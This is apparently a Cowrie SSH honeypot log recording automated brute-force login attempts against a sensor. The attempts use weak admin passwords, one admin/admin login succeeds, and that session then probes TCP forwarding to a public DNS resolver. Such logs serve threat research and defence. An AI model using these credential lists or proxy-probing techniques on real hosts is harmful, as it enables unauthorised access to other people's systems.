{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:10.825748Z","src_ip":"87.251.64.176","session":"99f9acf8cfb9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:11.132762Z","src_ip":"87.251.64.176","session":"99f9acf8cfb9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:11.232957Z","session":"99f9acf8cfb9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:11.331896Z","src_ip":"87.251.64.176","session":"99f9acf8cfb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:11.434900Z","src_ip":"87.251.64.176","session":"99f9acf8cfb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55920,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f640510422d","protocol":"ssh","message":"New connection: 159.203.92.129:55920 (159.203.135.109:22) [session: 2f640510422d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:14.358364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:14.363881Z","src_ip":"159.203.92.129","session":"2f640510422d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:14.368853Z","src_ip":"159.203.92.129","session":"2f640510422d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!Q2w#E4r","message":"login attempt [admin/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:14.384071Z","src_ip":"159.203.92.129","session":"2f640510422d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:15.390940Z","src_ip":"159.203.92.129","session":"2f640510422d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49042,"dst_ip":"159.203.135.109","dst_port":22,"session":"37ea65c88f80","protocol":"ssh","message":"New connection: 159.203.92.129:49042 (159.203.135.109:22) [session: 37ea65c88f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:58.515738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:58.520745Z","src_ip":"159.203.92.129","session":"37ea65c88f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:58.528367Z","src_ip":"159.203.92.129","session":"37ea65c88f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:58.540116Z","src_ip":"159.203.92.129","session":"37ea65c88f80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:39:59.547356Z","src_ip":"159.203.92.129","session":"37ea65c88f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36108,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a1070b42da2","protocol":"ssh","message":"New connection: 159.203.92.129:36108 (159.203.135.109:22) [session: 9a1070b42da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:40:42.640209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:40:42.644857Z","src_ip":"159.203.92.129","session":"9a1070b42da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:40:42.649681Z","src_ip":"159.203.92.129","session":"9a1070b42da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx#EDC","message":"login attempt [admin/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:40:42.661927Z","src_ip":"159.203.92.129","session":"9a1070b42da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:40:43.670495Z","src_ip":"159.203.92.129","session":"9a1070b42da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42322,"dst_ip":"159.203.135.109","dst_port":22,"session":"101b991883c0","protocol":"ssh","message":"New connection: 159.203.92.129:42322 (159.203.135.109:22) [session: 101b991883c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:41:26.292438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:41:26.297760Z","src_ip":"159.203.92.129","session":"101b991883c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:41:26.307644Z","src_ip":"159.203.92.129","session":"101b991883c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ@WSX3edc!@#","message":"login attempt [admin/!QAZ@WSX3edc!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:41:26.320192Z","src_ip":"159.203.92.129","session":"101b991883c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:41:27.334212Z","src_ip":"159.203.92.129","session":"101b991883c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59962,"dst_ip":"159.203.135.109","dst_port":22,"session":"518494f4bcd8","protocol":"ssh","message":"New connection: 159.203.92.129:59962 (159.203.135.109:22) [session: 518494f4bcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:10.372275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:10.393952Z","src_ip":"159.203.92.129","session":"518494f4bcd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:10.397972Z","src_ip":"159.203.92.129","session":"518494f4bcd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZxsw2","message":"login attempt [admin/!QAZxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:10.548878Z","src_ip":"159.203.92.129","session":"518494f4bcd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:11.559656Z","src_ip":"159.203.92.129","session":"518494f4bcd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42314,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e89d293d927","protocol":"ssh","message":"New connection: 87.251.64.176:42314 (10.17.0.5:22) [session: 5e89d293d927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:13.348455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:13.354134Z","src_ip":"87.251.64.176","session":"5e89d293d927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:13.451082Z","src_ip":"87.251.64.176","session":"5e89d293d927","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:13.740598Z","src_ip":"87.251.64.176","session":"5e89d293d927","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:13.841957Z","session":"5e89d293d927","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:13.940442Z","src_ip":"87.251.64.176","session":"5e89d293d927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:14.040083Z","src_ip":"87.251.64.176","session":"5e89d293d927","protocol":"ssh"}
